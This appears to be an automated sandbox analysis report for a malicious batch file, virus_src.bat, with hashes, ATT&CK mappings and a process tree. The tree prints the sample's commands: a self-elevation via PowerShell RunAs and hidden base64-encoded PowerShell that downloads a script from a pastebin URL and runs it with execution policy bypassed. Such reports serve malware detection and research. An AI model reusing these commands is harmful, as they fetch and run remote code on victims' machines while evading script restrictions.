4a4f56be826841723b685fe98aedfb81eb3c11dfac2f4a466f4c78eef2c5bb71

General

Target

virus_src.bat
Size

652B
MD5

3d20c8ba40ea3e85334342e7c01018bd
SHA1

b678d69ec173ca2e385ba8a8bda18be618f5af2c
SHA256

4a4f56be826841723b685fe98aedfb81eb3c11dfac2f4a466f4c78eef2c5bb71
SHA512

0fdeac77b6c4f3ba7ee53c33785c6c576873a7798d8921721d21498910316893b8ebb0e499759bd1d62239506499ce4bf9f222a2019c4a882ffd1a2ce86a6776

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe
2544	powershell.exe
2760	powershell.exe
2224	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2688	powershell.exe
2688	powershell.exe
2688	powershell.exe
2760	powershell.exe
2544	powershell.exe
2224	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2688	2180	cmd.exe	31
PID 2180 wrote to memory of 2688	2180	cmd.exe	31
PID 2180 wrote to memory of 2688	2180	cmd.exe	31
PID 2688 wrote to memory of 320	2688	powershell.exe	32
PID 2688 wrote to memory of 320	2688	powershell.exe	32
PID 2688 wrote to memory of 320	2688	powershell.exe	32
PID 320 wrote to memory of 2760	320	cmd.exe	34
PID 320 wrote to memory of 2760	320	cmd.exe	34
PID 320 wrote to memory of 2760	320	cmd.exe	34
PID 320 wrote to memory of 2544	320	cmd.exe	35
PID 320 wrote to memory of 2544	320	cmd.exe	35
PID 320 wrote to memory of 2544	320	cmd.exe	35
PID 2544 wrote to memory of 2224	2544	powershell.exe	36
PID 2544 wrote to memory of 2224	2544	powershell.exe	36
PID 2544 wrote to memory of 2224	2544	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\virus_src.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\virus_src.bat' -ArgumentList "am_admin"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\virus_src.bat" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AQgBoAFcAdgBTAFAAcQBxACkALgBjAG8AbgB0AGUAbgB0ACAAPgAgACQAZQBuAHYAOgB0AGUAbQBwAFwAUwB5AHMAdABlAG0AUwB0AGEAcgB0AHUAcAAuAHAAcwAxAA==
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -NoLogo -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AbgBvAGUAeABpAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAEYAaQBsAGUAIAAkAGUAbgB2ADoAdABlAG0AcABcAFMAeQBzAHQAZQBtAFMAdABhAHIAdAB1AHAALgBwAHMAMQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2544
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\SystemStartup.ps1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e8b08e1162f7ca0bf0dc52eee62245a3

SHA1
937fba4e9c7690d4abe591ba0f6701f53ac3d87e

SHA256
b57b9687b6cc530c7d123acf6ed3e362ef3a8234883710fabd2b9daec27d813d

SHA512
167485788f01c69a2fcf3eb3afeb16e0841ef9232417b8a5bb5c09f3058ae55170fd9b5d216ad2fa7a33a995277b35d9ad1ed4851580a9bd3dbd02f44e955089

Download Submit
memory/2688-4-0x000007FEF653E000-0x000007FEF653F000-memory.dmp

Filesize
4KB

Download
memory/2688-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2688-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2688-7-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-9-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-10-0x0000000002E5B000-0x0000000002EC2000-memory.dmp

Filesize
412KB

Download
memory/2688-8-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-16-0x000000001B820000-0x000000001BB02000-memory.dmp

Filesize
2.9MB

Download
memory/2760-17-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download

Analysis

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